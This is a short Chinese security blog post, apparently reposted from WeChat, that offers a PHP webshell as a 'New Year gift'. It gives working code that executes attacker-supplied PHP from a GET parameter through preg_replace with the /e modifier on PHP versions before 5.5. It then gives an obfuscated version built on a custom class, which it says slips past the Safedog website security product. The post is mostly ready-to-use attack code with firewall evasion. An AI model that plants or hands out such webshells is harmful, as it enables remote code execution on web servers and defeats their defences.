文章来源：Sec盾 https://mp.weixin.qq.com/s/CrrdvsMvnzS3YOs9qhP0Cg
新年到了，送给大家一个PHP免杀的webshell吧。（仅限PHP5.5以下版本）
测试环境
PHPstudy8.0.9.2，其中PHP版本为5.2
网站安全狗V4.0正式版
原理
preg_replace函数中使用/e修饰符，造成命令执行。
在PHP5.5以后，/e修饰符被弃用，这种方法就不行了。
<?php$a=$_GET['nb'];preg_replace("/dog/e", $a, "I am a sb dog");?>
在以上代码中，$a中内容会被当做php代码去执行。
但是，不幸的是，这样是无法绕过安全狗的。
因此我们需要对上面代码进行混淆，以便绕过安全狗。这里我采用的是自定义类。
<?phpclass SBdog{public $x;function dog(){$this->x=$_GET['nb'];}}$class=new SBdog();$class->dog();$a=$class->x;preg_replace("/dog/e", $a, "I am a sb dog");?>
通过定义一个SBdog类，并调用dog函数，将类中$x值赋给$a，这样就可以绕过了。
ps：菜鸡写的文章，有什么错误还请大佬们多多指正。
文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650459569&idx=2&sn=4bb6335bb9d232584e78c7190df797b9&chksm=83bba855b4cc21434d8b91b98827219afdc1f74b04a0ed54ed9156a41b8bffd2a21cd4bd8f28#rd
如有侵权请联系:admin#unsafe.sh
如有侵权请联系:admin#unsafe.sh